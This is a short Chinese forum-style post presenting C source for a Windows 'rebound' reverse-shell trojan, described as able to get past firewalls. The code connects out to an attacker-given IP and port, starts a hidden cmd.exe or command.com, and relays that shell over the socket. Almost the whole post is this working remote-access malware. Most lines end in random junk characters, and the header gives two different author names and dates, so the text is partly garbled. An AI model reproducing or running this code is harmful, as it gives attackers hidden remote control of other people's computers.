这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LZ#A`&qUd
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/* ============================== Y+S<?8pA
Rebound port in Windows NT \.P'8As
By wind,2006/7 J{Ij
===============================*/
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#include tklS=R^Vn
#include k5&}bj-
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#pragma comment(lib,"wsock32.lib") SFWS<H(IN
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void OutputShell(); t":^:i'M
SOCKET sClient; [9EL[}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #~*v*F~3
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void main(int argc,char **argv) }`whg8 fZ
{ 'o]}vyz;
WSADATA stWsaData; l7ES*==&@0
int nRet; 6wiuNGZb
SOCKADDR_IN stSaiClient,stSaiServer; M9V,;*
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if(argc != 3) k="wEZ;Q
{ L #vk77
printf("Useage:\n\rRebound DestIP DestPort\n"); W[!bF'-10
return; n\JSt}A
} ),;h
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WSAStartup(MAKEWORD(2,2),&stWsaData); 09Oe-Bg
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @)ozgs@e
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stSaiClient.sin_family = AF_INET; vO{[P#L}
stSaiClient.sin_port = htons(0); k:s86q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -% B)+yq>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t I+]x]m+
{ Iq;a!Lya-
printf("Bind Socket Failed!\n"); #$t93EI
return; KG5B6Om5'
} ng2yZ @$
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stSaiServer.sin_family = AF_INET; Se/]J<]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !Je!;mEvI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M>Ws}Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h" YA>_1
{ h7\EN
printf("Connect Error!"); ELV$!f|u
return; +]Bx4r?p
} AK;G_L
OutputShell(); Lp||C@h~
} [0NH#88ym<
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void OutputShell() 5geZ6]|
{ q|;+Wp?
char szBuff[1024]; 5[qx5|O
SECURITY_ATTRIBUTES stSecurityAttributes; 4s&koH(x
OSVERSIONINFO stOsversionInfo; `4]-B@
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5#? HL
STARTUPINFO stStartupInfo; 9T;l*
char *szShell; YsjTC$Tx,
PROCESS_INFORMATION stProcessInformation; !P:~oo=
unsigned long lBytesRead; Vzrp9&loY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ! F&{I
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bF3}L=z
stSecurityAttributes.lpSecurityDescriptor = 0; o2(*5*b!@e
stSecurityAttributes.bInheritHandle = TRUE; @6DV?VL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wmS:*U2sc
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PsMCs|*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /Big^^u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QXT*O
stStartupInfo.wShowWindow = SW_HIDE; oY%NDTVN
stStartupInfo.hStdInput = hReadPipe; s2+s1%^Ll
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H"g
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GetVersionEx(&stOsversionInfo); (OK;*ZH+T@
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switch(stOsversionInfo.dwPlatformId) i%_nH"h
{
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case 1:
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szShell = "command.com"; FZtIC77X5
break; \.dvRI'
default: 6cOm 8#
szShell = "cmd.exe"; {Uu|NA87Cd
break; hI1}^;
} |4FvPR[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aV8]?E5G
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send(sClient,szMsg,77,0); V5LzUg]
while(1) AA,n.;zy<
{ Q|o~\h<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NvfQa6?;
if(lBytesRead) 0l ]K%5#
{ Y;XEC;PXD
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rOy-6og
send(sClient,szBuff,lBytesRead,0);
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} Xn3Ph!\Z5e
else gg%OOvaj5
{ o;@T6-VH
lBytesRead=recv(sClient,szBuff,1024,0); f~? MNJ2
if(lBytesRead<=0) break; 4h~o>(Sq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .qBf`T;
} m;nT ?kv
} 5zF7yvS.w
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return; t1YVE%`w
}